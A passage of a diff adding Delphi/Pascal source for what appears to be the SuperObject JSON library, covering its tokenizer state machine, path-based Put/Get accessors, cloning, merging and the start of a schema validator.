TokRec^.state := tsBoolean; + tok.pb.Reset; + tok.st_pos := 0; + goto redo_char; + end; + else + TokRec^.state := tsIdentifier; + tok.pb.Reset; + goto redo_char; + end; + + tsFinish: + begin + if(tok.depth = 0) then goto out; + obj := TokRec^.current; + tok.ResetLevel(tok.depth); + dec(tok.depth); + TokRec := @tok.stack[tok.depth]; + goto redo_char; + end; + + tsNull: + begin + tok.pb.Append(@v, 1); + if (StrLComp(TOK_NULL, PSOChar(tok.pb.FBuf), min(tok.st_pos + 1, 4)) = 0) then + begin + if (tok.st_pos = 4) then + if (((SOIChar(v) < 256) and (AnsiChar(v) in path)) or (SOIChar(v) >= 256)) then + TokRec^.state := tsIdentifier else + begin + TokRec^.current := TSuperObject.Create(stNull); + TokRec^.saved_state := tsFinish; + TokRec^.state := tsEatws; + goto redo_char; + end; + end else + begin + TokRec^.state := tsIdentifier; + tok.pb.FBuf[tok.st_pos] := #0; + dec(tok.pb.FBPos); + goto redo_char; + end; + inc(tok.st_pos); + end; + + tsCommentStart: + begin + if(v = '*') then + begin + TokRec^.state := tsComment; + end else + if (v = '/') then + begin + TokRec^.state := tsCommentEol; + end else + begin + tok.err := teParseComment; + goto out; + end; + tok.pb.Append(@v, 1); + end; + + tsComment: + begin + if(v = '*') then + TokRec^.state := tsCommentEnd; + tok.pb.Append(@v, 1); + end; + + tsCommentEol: + begin + if (v = #10) then + TokRec^.state := tsEatws else + tok.pb.Append(@v, 1); + end; + + tsCommentEnd: + begin + tok.pb.Append(@v, 1); + if (v = '/') then + TokRec^.state := tsEatws else + TokRec^.state := tsComment; + end; + + tsString: + begin + if (v = tok.quote_char) then + begin + TokRec^.current := TSuperObject.Create(SOString(tok.pb.GetString)); + TokRec^.saved_state := tsFinish; + TokRec^.state := tsEatws; + end else + if (v = '\') then + begin + TokRec^.saved_state := tsString; + TokRec^.state := tsStringEscape; + end else + begin + tok.pb.Append(@v, 1); + end + end; + + tsEvalProperty: + begin + if (TokRec^.current = nil) and (foCreatePath in options) then + begin + TokRec^.current := TSuperObject.Create(stObject); + TokRec^.parent.AsObject.PutO(tok.pb.Fbuf, TokRec^.current) + end else + if not ObjectIsType(TokRec^.current, stObject) then + begin + tok.err := teEvalObject; + goto out; + end; + tok.pb.Reset; + TokRec^.state := tsIdentifier; + goto redo_char; + end; + + tsEvalArray: + begin + if (TokRec^.current = nil) and (foCreatePath in options) then + begin + TokRec^.current := TSuperObject.Create(stArray); + TokRec^.parent.AsObject.PutO(tok.pb.Fbuf, TokRec^.current) + end else + if not ObjectIsType(TokRec^.current, stArray) then + begin + tok.err := teEvalArray; + goto out; + end; + tok.pb.Reset; + TokRec^.state := tsParamValue; + goto redo_char; + end; +{$IFDEF SUPER_METHOD} + tsEvalMethod: + begin + if ObjectIsType(TokRec^.current, stMethod) and assigned(TokRec^.current.AsMethod) then + begin + tok.pb.Reset; + TokRec^.obj := TSuperObject.Create(stArray); + TokRec^.state := tsMethodValue; + goto redo_char; + end else + begin + tok.err := teEvalMethod; + goto out; + end; + end; + + tsMethodValue: + begin + case v of + ')': + TokRec^.state := tsIdentifier; + else + if (tok.depth >= SUPER_TOKENER_MAX_DEPTH-1) then + begin + tok.err := teDepth; + goto out; + end; + inc(evalstack); + TokRec^.state := tsMethodPut; + inc(tok.depth); + tok.ResetLevel(tok.depth); + TokRec := @tok.stack[tok.depth]; + goto redo_char; + end; + end; + + tsMethodPut: + begin + TokRec^.obj.AsArray.Add(obj); + case v of + ',': + begin + tok.pb.Reset; + TokRec^.saved_state := tsMethodValue; + TokRec^.state := tsEatws; + end; + ')': + begin + if TokRec^.obj.AsArray.Length = 1 then + TokRec^.obj := TokRec^.obj.AsArray.GetO(0); + dec(evalstack); + tok.pb.Reset; + TokRec^.saved_state := tsIdentifier; + TokRec^.state := tsEatws; + end; + else + tok.err := teEvalMethod; + goto out; + end; + end; +{$ENDIF} + tsParamValue: + begin + case v of + ']': + TokRec^.state := tsIdentifier; + else + if (tok.depth >= SUPER_TOKENER_MAX_DEPTH-1) then + begin + tok.err := teDepth; + goto out; + end; + inc(evalstack); + TokRec^.state := tsParamPut; + inc(tok.depth); + tok.ResetLevel(tok.depth); + TokRec := @tok.stack[tok.depth]; + goto redo_char; + end; + end; + + tsParamPut: + begin + dec(evalstack); + TokRec^.obj := obj; + tok.pb.Reset; + TokRec^.saved_state := tsIdentifier; + TokRec^.state := tsEatws; + if v <> ']' then + begin + tok.err := teEvalArray; + goto out; + end; + end; + + tsIdentifier: + begin + if (this = nil) then + begin + if (SOIChar(v) < 256) and IsEndDelimiter(AnsiChar(v)) then + begin + if not strict then + begin + tok.pb.TrimRight; + TokRec^.current := TSuperObject.Create(tok.pb.Fbuf); + TokRec^.saved_state := tsFinish; + TokRec^.state := tsEatws; + goto redo_char; + end else + begin + tok.err := teParseString; + goto out; + end; + end else + if (v = '\') then + begin + TokRec^.saved_state := tsIdentifier; + TokRec^.state := tsStringEscape; + end else + tok.pb.Append(@v, 1); + end else + begin + if (SOIChar(v) < 256) and (AnsiChar(v) in reserved) then + begin + TokRec^.gparent := TokRec^.parent; + if TokRec^.current = nil then + TokRec^.parent := this else + TokRec^.parent := TokRec^.current; + + case ObjectGetType(TokRec^.parent) of + stObject: + case v of + '.': + begin + TokRec^.state := tsEvalProperty; + if tok.pb.FBPos > 0 then + TokRec^.current := TokRec^.parent.AsObject.GetO(tok.pb.Fbuf); + end; + '[': + begin + TokRec^.state := tsEvalArray; + if tok.pb.FBPos > 0 then + TokRec^.current := TokRec^.parent.AsObject.GetO(tok.pb.Fbuf); + end; + '(': + begin + TokRec^.state := tsEvalMethod; + if tok.pb.FBPos > 0 then + TokRec^.current := TokRec^.parent.AsObject.GetO(tok.pb.Fbuf); + end; + else + if tok.pb.FBPos > 0 then + TokRec^.current := TokRec^.parent.AsObject.GetO(tok.pb.Fbuf); + if (foPutValue in options) and (evalstack = 0) then + begin + TokRec^.parent.AsObject.PutO(tok.pb.Fbuf, put); + TokRec^.current := put + end else + if (foDelete in options) and (evalstack = 0) then + begin + TokRec^.current := TokRec^.parent.AsObject.Delete(tok.pb.Fbuf); + end else + if (TokRec^.current = nil) and (foCreatePath in options) then + begin + TokRec^.current := TSuperObject.Create(dt); + TokRec^.parent.AsObject.PutO(tok.pb.Fbuf, TokRec^.current); + end; + if not (foDelete in options) then + TokRec^.current := TokRec^.parent.AsObject.GetO(tok.pb.Fbuf); + TokRec^.state := tsFinish; + goto redo_char; + end; + stArray: + begin + if TokRec^.obj <> nil then + begin + if not ObjectIsType(TokRec^.obj, stInt) or (TokRec^.obj.AsInteger < 0) then + begin + tok.err := teEvalInt; + TokRec^.obj := nil; + goto out; + end; + numi := TokRec^.obj.AsInteger; + TokRec^.obj := nil; + + TokRec^.current := TokRec^.parent.AsArray.GetO(numi); + case v of + '.': + if (TokRec^.current = nil) and (foCreatePath in options) then + begin + TokRec^.current := TSuperObject.Create(stObject); + TokRec^.parent.AsArray.PutO(numi, TokRec^.current); + end else + if (TokRec^.current = nil) then + begin + tok.err := teEvalObject; + goto out; + end; + '[': + begin + if (TokRec^.current = nil) and (foCreatePath in options) then + begin + TokRec^.current := TSuperObject.Create(stArray); + TokRec^.parent.AsArray.Add(TokRec^.current); + end else + if (TokRec^.current = nil) then + begin + tok.err := teEvalArray; + goto out; + end; + TokRec^.state := tsEvalArray; + end; + '(': TokRec^.state := tsEvalMethod; + else + if (foPutValue in options) and (evalstack = 0) then + begin + TokRec^.parent.AsArray.PutO(numi, put); + TokRec^.current := put; + end else + if (foDelete in options) and (evalstack = 0) then + begin + TokRec^.current := TokRec^.parent.AsArray.Delete(numi); + end else + TokRec^.current := TokRec^.parent.AsArray.GetO(numi); + TokRec^.state := tsFinish; + goto redo_char + end; + end else + begin + case v of + '.': + begin + if (foPutValue in options) then + begin + TokRec^.current := TSuperObject.Create(stObject); + TokRec^.parent.AsArray.Add(TokRec^.current); + end else + TokRec^.current := TokRec^.parent.AsArray.GetO(TokRec^.parent.AsArray.FLength - 1); + end; + '[': + begin + if (foPutValue in options) then + begin + TokRec^.current := TSuperObject.Create(stArray); + TokRec^.parent.AsArray.Add(TokRec^.current); + end else + TokRec^.current := TokRec^.parent.AsArray.GetO(TokRec^.parent.AsArray.FLength - 1); + TokRec^.state := tsEvalArray; + end; + '(': + begin + if not (foPutValue in options) then + TokRec^.current := TokRec^.parent.AsArray.GetO(TokRec^.parent.AsArray.FLength - 1) else + TokRec^.current := nil; + + TokRec^.state := tsEvalMethod; + end; + else + if (foPutValue in options) and (evalstack = 0) then + begin + TokRec^.parent.AsArray.Add(put); + TokRec^.current := put; + end else + if tok.pb.FBPos = 0 then + TokRec^.current := TokRec^.parent.AsArray.GetO(TokRec^.parent.AsArray.FLength - 1); + TokRec^.state := tsFinish; + goto redo_char + end; + end; + end; +{$IFDEF SUPER_METHOD} + stMethod: + case v of + '.': + begin + TokRec^.current := nil; + sm := TokRec^.parent.AsMethod; + sm(TokRec^.gparent, TokRec^.obj, TokRec^.current); + TokRec^.obj := nil; + end; + '[': + begin + TokRec^.current := nil; + sm := TokRec^.parent.AsMethod; + sm(TokRec^.gparent, TokRec^.obj, TokRec^.current); + TokRec^.state := tsEvalArray; + TokRec^.obj := nil; + end; + '(': + begin + TokRec^.current := nil; + sm := TokRec^.parent.AsMethod; + sm(TokRec^.gparent, TokRec^.obj, TokRec^.current); + TokRec^.state := tsEvalMethod; + TokRec^.obj := nil; + end; + else + if not (foPutValue in options) or (evalstack > 0) then + begin + TokRec^.current := nil; + sm := TokRec^.parent.AsMethod; + sm(TokRec^.gparent, TokRec^.obj, TokRec^.current); + TokRec^.obj := nil; + TokRec^.state := tsFinish; + goto redo_char + end else + begin + tok.err := teEvalMethod; + TokRec^.obj := nil; + goto out; + end; + end; +{$ENDIF} + end; + end else + tok.pb.Append(@v, 1); + end; + end; + + tsStringEscape: + case v of + 'b', + 'n', + 'r', + 't', + 'f': + begin + if(v = 'b') then tok.pb.Append(TOK_BS, 1) + else if(v = 'n') then tok.pb.Append(TOK_LF, 1) + else if(v = 'r') then tok.pb.Append(TOK_CR, 1) + else if(v = 't') then tok.pb.Append(TOK_TAB, 1) + else if(v = 'f') then tok.pb.Append(TOK_FF, 1); + TokRec^.state := TokRec^.saved_state; + end; + 'u': + begin + tok.ucs_char := 0; + tok.st_pos := 0; + TokRec^.state := tsEscapeUnicode; + end; + 'x': + begin + tok.ucs_char := 0; + tok.st_pos := 0; + TokRec^.state := tsEscapeHexadecimal; + end + else + tok.pb.Append(@v, 1); + TokRec^.state := TokRec^.saved_state; + end; + + tsEscapeUnicode: + begin + if ((SOIChar(v) < 256) and (AnsiChar(v) in super_hex_chars_set)) then + begin + inc(tok.ucs_char, (Word(hexdigit(v)) shl ((3-tok.st_pos)*4))); + inc(tok.st_pos); + if (tok.st_pos = 4) then + begin + tok.pb.Append(@tok.ucs_char, 1); + TokRec^.state := TokRec^.saved_state; + end + end else + begin + tok.err := teParseString; + goto out; + end + end; + tsEscapeHexadecimal: + begin + if ((SOIChar(v) < 256) and (AnsiChar(v) in super_hex_chars_set)) then + begin + inc(tok.ucs_char, (Word(hexdigit(v)) shl ((1-tok.st_pos)*4))); + inc(tok.st_pos); + if (tok.st_pos = 2) then + begin + tok.pb.Append(@tok.ucs_char, 1); + TokRec^.state := TokRec^.saved_state; + end + end else + begin + tok.err := teParseString; + goto out; + end + end; + tsBoolean: + begin + tok.pb.Append(@v, 1); + if (StrLComp('true', PSOChar(tok.pb.FBuf), min(tok.st_pos + 1, 4)) = 0) then + begin + if (tok.st_pos = 4) then + if (((SOIChar(v) < 256) and (AnsiChar(v) in path)) or (SOIChar(v) >= 256)) then + TokRec^.state := tsIdentifier else + begin + TokRec^.current := TSuperObject.Create(true); + TokRec^.saved_state := tsFinish; + TokRec^.state := tsEatws; + goto redo_char; + end + end else + if (StrLComp('false', PSOChar(tok.pb.FBuf), min(tok.st_pos + 1, 5)) = 0) then + begin + if (tok.st_pos = 5) then + if (((SOIChar(v) < 256) and (AnsiChar(v) in path)) or (SOIChar(v) >= 256)) then + TokRec^.state := tsIdentifier else + begin + TokRec^.current := TSuperObject.Create(false); + TokRec^.saved_state := tsFinish; + TokRec^.state := tsEatws; + goto redo_char; + end + end else + begin + TokRec^.state := tsIdentifier; + tok.pb.FBuf[tok.st_pos] := #0; + dec(tok.pb.FBPos); + goto redo_char; + end; + inc(tok.st_pos); + end; + + tsNumber: + begin + if (SOIChar(v) < 256) and (AnsiChar(v) in super_number_chars_set) then + begin + tok.pb.Append(@v, 1); + if (SOIChar(v) < 256) then + case v of + '.': begin + tok.is_double := 1; + tok.floatcount := 0; + end; + 'e','E': + begin + tok.is_double := 1; + tok.floatcount := -1; + end; + '0'..'9': + begin + + if (tok.is_double = 1) and (tok.floatcount >= 0) then + begin + inc(tok.floatcount); + if tok.floatcount > 4 then + tok.floatcount := -1; + end; + end; + end; + end else + begin + if (tok.is_double = 0) then + begin + val(tok.pb.FBuf, numi, code); + if ObjectIsType(this, stArray) then + begin + if (foPutValue in options) and (evalstack = 0) then + begin + this.AsArray.PutO(numi, put); + TokRec^.current := put; + end else + if (foDelete in options) and (evalstack = 0) then + TokRec^.current := this.AsArray.Delete(numi) else + TokRec^.current := this.AsArray.GetO(numi); + end else + TokRec^.current := TSuperObject.Create(numi); + + end else + if (tok.is_double <> 0) then + begin + if tok.floatcount >= 0 then + begin + p := tok.pb.FBuf; + while p^ <> '.' do inc(p); + for code := 0 to tok.floatcount - 1 do + begin + p^ := p[1]; + inc(p); + end; + p^ := #0; + val(tok.pb.FBuf, numi, code); + case tok.floatcount of + 0: numi := numi * 10000; + 1: numi := numi * 1000; + 2: numi := numi * 100; + 3: numi := numi * 10; + end; + TokRec^.current := TSuperObject.CreateCurrency(PCurrency(@numi)^); + end else + begin + val(tok.pb.FBuf, numd, code); + TokRec^.current := TSuperObject.Create(numd); + end; + end else + begin + tok.err := teParseNumber; + goto out; + end; + TokRec^.saved_state := tsFinish; + TokRec^.state := tsEatws; + goto redo_char; + end + end; + + tsArray: + begin + if (v = ']') then + begin + TokRec^.saved_state := tsFinish; + TokRec^.state := tsEatws; + end else + begin + if(tok.depth >= SUPER_TOKENER_MAX_DEPTH-1) then + begin + tok.err := teDepth; + goto out; + end; + TokRec^.state := tsArrayAdd; + inc(tok.depth); + tok.ResetLevel(tok.depth); + TokRec := @tok.stack[tok.depth]; + goto redo_char; + end + end; + + tsArrayAdd: + begin + TokRec^.current.AsArray.Add(obj); + TokRec^.saved_state := tsArraySep; + TokRec^.state := tsEatws; + goto redo_char; + end; + + tsArraySep: + begin + if (v = ']') then + begin + TokRec^.saved_state := tsFinish; + TokRec^.state := tsEatws; + end else + if (v = ',') then + begin + TokRec^.saved_state := tsArray; + TokRec^.state := tsEatws; + end else + begin + tok.err := teParseArray; + goto out; + end + end; + + tsObjectFieldStart: + begin + if (v = '}') then + begin + TokRec^.saved_state := tsFinish; + TokRec^.state := tsEatws; + end else + if (SOIChar(v) < 256) and (AnsiChar(v) in ['"', '''']) then + begin + tok.quote_char := v; + tok.pb.Reset; + TokRec^.state := tsObjectField; + end else + if not((SOIChar(v) < 256) and ((AnsiChar(v) in reserved) or strict)) then + begin + TokRec^.state := tsObjectUnquotedField; + tok.pb.Reset; + goto redo_char; + end else + begin + tok.err := teParseObjectKeyName; + goto out; + end + end; + + tsObjectField: + begin + if (v = tok.quote_char) then + begin + TokRec^.field_name := tok.pb.FBuf; + TokRec^.saved_state := tsObjectFieldEnd; + TokRec^.state := tsEatws; + end else + if (v = '\') then + begin + TokRec^.saved_state := tsObjectField; + TokRec^.state := tsStringEscape; + end else + begin + tok.pb.Append(@v, 1); + end + end; + + tsObjectUnquotedField: + begin + if (SOIChar(v) < 256) and (AnsiChar(v) in [':', #0]) then + begin + TokRec^.field_name := tok.pb.FBuf; + TokRec^.saved_state := tsObjectFieldEnd; + TokRec^.state := tsEatws; + goto redo_char; + end else + if (v = '\') then + begin + TokRec^.saved_state := tsObjectUnquotedField; + TokRec^.state := tsStringEscape; + end else + tok.pb.Append(@v, 1); + end; + + tsObjectFieldEnd: + begin + if (v = ':') then + begin + TokRec^.saved_state := tsObjectValue; + TokRec^.state := tsEatws; + end else + begin + tok.err := teParseObjectKeySep; + goto out; + end + end; + + tsObjectValue: + begin + if (tok.depth >= SUPER_TOKENER_MAX_DEPTH-1) then + begin + tok.err := teDepth; + goto out; + end; + TokRec^.state := tsObjectValueAdd; + inc(tok.depth); + tok.ResetLevel(tok.depth); + TokRec := @tok.stack[tok.depth]; + goto redo_char; + end; + + tsObjectValueAdd: + begin + TokRec^.current.AsObject.PutO(TokRec^.field_name, obj); + TokRec^.field_name := ''; + TokRec^.saved_state := tsObjectSep; + TokRec^.state := tsEatws; + goto redo_char; + end; + + tsObjectSep: + begin + if (v = '}') then + begin + TokRec^.saved_state := tsFinish; + TokRec^.state := tsEatws; + end else + if (v = ',') then + begin + TokRec^.saved_state := tsObjectFieldStart; + TokRec^.state := tsEatws; + end else + begin + tok.err := teParseObjectValueSep; + goto out; + end + end; + end; + inc(str); + inc(tok.char_offset); + until v = #0; + + if(TokRec^.state <> tsFinish) and + (TokRec^.saved_state <> tsFinish) then + tok.err := teParseEof; + + out: + if(tok.err in [teSuccess]) then + begin +{$IFDEF SUPER_METHOD} + if (foCallMethod in options) and ObjectIsType(TokRec^.current, stMethod) and assigned(TokRec^.current.AsMethod) then + begin + sm := TokRec^.current.AsMethod; + sm(TokRec^.parent, put, Result); + end else +{$ENDIF} + Result := TokRec^.current; + end else + Result := nil; +end; + +procedure TSuperObject.PutO(const path: SOString; const Value: ISuperObject); +begin + ParseString(PSOChar(path), true, False, self, [foCreatePath, foPutValue], Value); +end; + +procedure TSuperObject.PutB(const path: SOString; Value: Boolean); +begin + ParseString(PSOChar(path), true, False, self, [foCreatePath, foPutValue], TSuperObject.Create(Value)); +end; + +procedure TSuperObject.PutD(const path: SOString; Value: Double); +begin + ParseString(PSOChar(path), true, False, self, [foCreatePath, foPutValue], TSuperObject.Create(Value)); +end; + +procedure TSuperObject.PutC(const path: SOString; Value: Currency); +begin + ParseString(PSOChar(path), true, False, self, [foCreatePath, foPutValue], TSuperObject.CreateCurrency(Value)); +end; + +procedure TSuperObject.PutI(const path: SOString; Value: SuperInt); +begin + ParseString(PSOChar(path), true, False, self, [foCreatePath, foPutValue], TSuperObject.Create(Value)); +end; + +procedure TSuperObject.PutS(const path: SOString; const Value: SOString); +begin + ParseString(PSOChar(path), true, False, self, [foCreatePath, foPutValue], TSuperObject.Create(Value)); +end; + + +{$IFDEF FPC} +function TSuperObject.QueryInterface({$IFDEF FPC_HAS_CONSTREF}constref{$ELSE}const{$ENDIF} iid: tguid; out obj): longint;{$IFNDEF WINDOWS}cdecl{$ELSE}stdcall{$ENDIF}; +{$ELSE} +function TSuperObject.QueryInterface(const IID: TGUID; out Obj): HResult; stdcall; +{$ENDIF} +begin + if GetInterface(IID, Obj) then + Result := 0 + else + Result := E_NOINTERFACE; +end; + +function TSuperObject.SaveTo(stream: TStream; indent, escape: boolean): integer; +var + pb: TSuperWriterStream; +begin + if escape then + pb := TSuperAnsiWriterStream.Create(stream) else + pb := TSuperUnicodeWriterStream.Create(stream); + + if(Write(pb, indent, escape, 0) < 0) then + begin + pb.Reset; + pb.Free; + Result := 0; + Exit; + end; + Result := stream.Size; + pb.Free; +end; + +function TSuperObject.CalcSize(indent, escape: boolean): integer; +var + pb: TSuperWriterFake; +begin + pb := TSuperWriterFake.Create; + if(Write(pb, indent, escape, 0) < 0) then + begin + pb.Free; + Result := 0; + Exit; + end; + Result := pb.FSize; + pb.Free; +end; + +constructor TSuperObject.Create(const s: SOString); +begin + Create(stString); + FOString := s; +end; + +procedure TSuperObject.Clear(all: boolean); +begin + if FProcessing then exit; + FProcessing := true; + try + case FDataType of + stBoolean: FO.c_boolean := false; + stDouble: FO.c_double := 0.0; + stCurrency: FO.c_currency := 0.0; + stInt: FO.c_int := 0; + stObject: FO.c_object.Clear(all); + stArray: FO.c_array.Clear(all); + stString: FOString := ''; +{$IFDEF SUPER_METHOD} + stMethod: FO.c_method := nil; +{$ENDIF} + end; + finally + FProcessing := false; + end; +end; + +procedure TSuperObject.Pack(all: boolean = false); +begin + if FProcessing then exit; + FProcessing := true; + try + case FDataType of + stObject: FO.c_object.Pack(all); + stArray: FO.c_array.Pack(all); + end; + finally + FProcessing := false; + end; +end; + +function TSuperObject.GetN(const path: SOString): ISuperObject; +begin + Result := ParseString(PSOChar(path), False, true, self); + if Result = nil then + Result := TSuperObject.Create(stNull); +end; + +procedure TSuperObject.PutN(const path: SOString; const Value: ISuperObject); +begin + if Value = nil then + ParseString(PSOChar(path), False, True, self, [foCreatePath, foPutValue], TSuperObject.Create(stNull)) else + ParseString(PSOChar(path), False, True, self, [foCreatePath, foPutValue], Value); +end; + +function TSuperObject.Delete(const path: SOString): ISuperObject; +begin + Result := ParseString(PSOChar(path), False, true, self, [foDelete]); +end; + +function TSuperObject.Clone: ISuperObject; +var + ite: TSuperObjectIter; + arr: TSuperArray; + j: integer; +begin + case FDataType of + stBoolean: Result := TSuperObject.Create(FO.c_boolean); + stDouble: Result := TSuperObject.Create(FO.c_double); + stCurrency: Result := TSuperObject.CreateCurrency(FO.c_currency); + stInt: Result := TSuperObject.Create(FO.c_int); + stString: Result := TSuperObject.Create(FOString); +{$IFDEF SUPER_METHOD} + stMethod: Result := TSuperObject.Create(FO.c_method); +{$ENDIF} + stObject: + begin + Result := TSuperObject.Create(stObject); + if ObjectFindFirst(self, ite) then + with Result.AsObject do + repeat + PutO(ite.key, ite.val.Clone); + until not ObjectFindNext(ite); + ObjectFindClose(ite); + end; + stArray: + begin + Result := TSuperObject.Create(stArray); + arr := AsArray; + with Result.AsArray do + for j := 0 to arr.Length - 1 do + Add(arr.GetO(j).Clone); + end; + stNull: + Result := TSuperObject.Create(stNull); + else + Result := nil; + end; +end; + +procedure TSuperObject.Merge(const obj: ISuperObject; reference: boolean); +var + prop1, prop2: ISuperObject; + ite: TSuperObjectIter; + arr: TSuperArray; + j: integer; +begin + if ObjectIsType(obj, FDataType) then + case FDataType of + stBoolean: FO.c_boolean := obj.AsBoolean; + stDouble: FO.c_double := obj.AsDouble; + stCurrency: FO.c_currency := obj.AsCurrency; + stInt: FO.c_int := obj.AsInteger; + stString: FOString := obj.AsString; +{$IFDEF SUPER_METHOD} + stMethod: FO.c_method := obj.AsMethod; +{$ENDIF} + stObject: + begin + if ObjectFindFirst(obj, ite) then + with FO.c_object do + repeat + prop1 := FO.c_object.GetO(ite.key); + if (prop1 <> nil) and (ite.val <> nil) and (prop1.DataType = ite.val.DataType) then + prop1.Merge(ite.val) else + if reference then + PutO(ite.key, ite.val) else + if ite.val <> nil then + PutO(ite.key, ite.val.Clone) else + PutO(ite.key, nil) + + until not ObjectFindNext(ite); + ObjectFindClose(ite); + end; + stArray: + begin + arr := obj.AsArray; + with FO.c_array do + for j := 0 to arr.Length - 1 do + begin + prop1 := GetO(j); + prop2 := arr.GetO(j); + if (prop1 <> nil) and (prop2 <> nil) and (prop1.DataType = prop2.DataType) then + prop1.Merge(prop2) else + if reference then + PutO(j, prop2) else + if prop2 <> nil then + PutO(j, prop2.Clone) else + PutO(j, nil); + end; + end; + end; +end; + +procedure TSuperObject.Merge(const str: SOString); +begin + Merge(TSuperObject.ParseString(PSOChar(str), False), true); +end; + +class function TSuperObject.NewInstance: TObject; +begin + Result := inherited NewInstance; + TSuperObject(Result).FRefCount := 1; +end; + +function TSuperObject.ForcePath(const path: SOString; dataType: TSuperType = stObject): ISuperObject; +begin + Result := ParseString(PSOChar(path), False, True, Self, [foCreatePath], nil, dataType); +end; + +function TSuperObject.Format(const str: SOString; BeginSep: SOChar; EndSep: SOChar): SOString; +var + p1, p2: PSOChar; +begin + Result := ''; + p2 := PSOChar(str); + p1 := p2; + while true do + if p2^ = BeginSep then + begin + if p2 > p1 then + Result := Result + Copy(p1, 0, p2-p1); + inc(p2); + p1 := p2; + while true do + if p2^ = EndSep then Break else + if p2^ = #0 then Exit else + inc(p2); + Result := Result + GetS(copy(p1, 0, p2-p1)); + inc(p2); + p1 := p2; + end + else if p2^ = #0 then + begin + if p2 > p1 then + Result := Result + Copy(p1, 0, p2-p1); + Break; + end else + inc(p2); +end; + +function TSuperObject.GetO(const path: SOString): ISuperObject; +begin + Result := ParseString(PSOChar(path), False, True, Self); +end; + +function TSuperObject.GetA(const path: SOString): TSuperArray; +var + obj: ISuperObject; +begin + obj := ParseString(PSOChar(path), False, True, Self); + if obj <> nil then + Result := obj.AsArray else + Result := nil; +end; + +function TSuperObject.GetB(const path: SOString): Boolean; +var + obj: ISuperObject; +begin + obj := GetO(path); + if obj <> nil then + Result := obj.AsBoolean else + Result := false; +end; + +function TSuperObject.GetD(const path: SOString): Double; +var + obj: ISuperObject; +begin + obj := GetO(path); + if obj <> nil then + Result := obj.AsDouble else + Result := 0.0; +end; + +function TSuperObject.GetC(const path: SOString): Currency; +var + obj: ISuperObject; +begin + obj := GetO(path); + if obj <> nil then + Result := obj.AsCurrency else + Result := 0.0; +end; + +function TSuperObject.GetI(const path: SOString): SuperInt; +var + obj: ISuperObject; +begin + obj := GetO(path); + if obj <> nil then + Result := obj.AsInteger else + Result := 0; +end; + +function TSuperObject.GetDataPtr: Pointer; +begin + Result := FDataPtr; +end; + +function TSuperObject.GetDataType: TSuperType; +begin + Result := FDataType +end; + +function TSuperObject.GetS(const path: SOString): SOString; +var + obj: ISuperObject; +begin + obj := GetO(path); + if obj <> nil then + Result := obj.AsString else + Result := ''; +end; + +function TSuperObject.SaveTo(const FileName: string; indent, escape: boolean): integer; +var + stream: TFileStream; +begin + stream := TFileStream.Create(FileName, fmCreate); + try + Result := SaveTo(stream, indent, escape); + finally + stream.Free; + end; +end; + +function TSuperObject.Validate(const rules: SOString; const defs: SOString = ''; callback: TSuperOnValidateError = nil; sender: Pointer = nil): boolean; +begin + Result := Validate(TSuperObject.ParseString(PSOChar(rules), False), TSuperObject.ParseString(PSOChar(defs), False), callback, sender); +end; + +function TSuperObject.Validate(const rules: ISuperObject; const defs: ISuperObject = nil; callback: TSuperOnValidateError = nil; sender: Pointer = nil): boolean; +type + TDataType = (dtUnknown, dtStr, dtInt, dtFloat, dtNumber, dtText, dtBool, + dtMap, dtSeq, dtScalar, dtAny); +var + datatypes: ISuperObject; + names: ISuperObject; + + function FindInheritedProperty(const prop: PSOChar; p: ISuperObject): ISuperObject; + var + o: ISuperObject; + e: TSuperAvlEntry; + begin + o := p[prop]; + if o <> nil then + result := o else + begin + o := p['inherit']; + if (o <> nil) and ObjectIsType(o, stString) then + begin + e := names.AsObject.Search(o.AsString); + if (e <> nil) then + Result := FindInheritedProperty(prop, e.Value) else + Result := nil; + end else + Result := nil; + end; + end; + + function FindDataType(o: ISuperObject): TDataType; + var + e: TSuperAvlEntry; + obj: ISuperObject; + begin + obj := FindInheritedProperty('type', o); + if obj <> nil then + begin + e := datatypes.AsObject.Search(obj.AsString); + if e <> nil then + Result := TDataType(e.Value.AsInteger) else + Result := dtUnknown; + end else + Result := dtUnknown; + end; + + procedure GetNames(o: ISuperObject); + var + obj: ISuperObject; + f: TSuperObjectIter; + begin + obj := o['name']; + if ObjectIsType(obj, stString) then + names[obj.AsString] := o; + + case FindDataType(o) of + dtMap: + begin + obj := o['mapping']; + if ObjectIsType(obj, stObject) then + begin + if ObjectFindFirst(obj, f) then + repeat + if ObjectIsType(f.val, stObject) then + GetNames(f.val); + until not ObjectFindNext(f); + ObjectFindClose(f); + end; + end; + dtSeq: + begin + obj := o['sequence']; + if ObjectIsType(obj, stObject) then + GetNames(obj); + end; + end; + end; + + function FindInheritedField(const prop: SOString; p: ISuperObject): ISuperObject; + var + o: ISuperObject; + e: TSuperAvlEntry; + begin + o := p['mapping']; + if ObjectIsType(o, stObject) then + begin + o := o.AsObject.GetO(prop); + if o <> nil then + begin + Result := o; + Exit; + end; + end; + + o := p['inherit']; + if ObjectIsType(o, stString) then + begin + e := names.AsObject.Search(o.AsString); + if (e <> nil) then + Result := FindInheritedField(prop, e.Value) else + Result := nil; + end else + Result := nil; + end; + + function InheritedFieldExist(const obj: ISuperObject; p: ISuperObject; const name: SOString = ''): boolean; + var + o: ISuperObject; + e: TSuperAvlEntry; + j: TSuperAvlIterator; + begin + Result := true; + o := p['mapping']; + if ObjectIsType(o, stObject) then + begin + j := TSuperAvlIterator.Create(o.AsObject); + try + j.First; + e := j.GetIter; + while e <> nil do + begin + if obj.AsObject.Search(e.Name) = nil then + begin + Result := False; + if assigned(callback) then + callback(sender, veFieldNotFound, name + '.' + e.Name); + end; + j.Next; + e := j.GetIter; + end; + + finally + j.Free; + end; + end; + + o := p['inherit']; + if ObjectIsType(o, stString) then + begin + e := names.AsObject.Search(o.AsString); + if (e <> nil) then + Result := InheritedFieldExist(obj, e.Value, name) and Result; + end; + end; + + function getInheritedBool(f: PSOChar; p: ISuperObject; default: boolean = false): boolean; + var + o: ISuperObject; + begin + o := FindInheritedProperty(f, p); + case ObjectGetType(o) of + stBoolean: Result := o.AsBoolean; + stNull: Result := Default; + else + Result := default; + if assigned(callback) then + callback(sender, veRuleMalformated, f); + end; + end; + + procedure GetInheritedFieldList(list: ISuperObject; p: ISuperObject); + var + o: ISuperObject; + e: TSuperAvlEntry; + i: TSuperAvlIterator; + begin + Result := true; + o := p['mapping']; + if ObjectIsType(o, stObject) then + begin + i := TSuperAvlIterator.Create(o.AsObject); + try + i.First; + e := i.GetIter; + while e <> nil do + begin + if list.AsObject.Search(e.Name) = nil then + list[e.Name] := e.Value; + i.Next; + e := i.GetIter; + end; + + finally + i.Free; + end; + end; + + 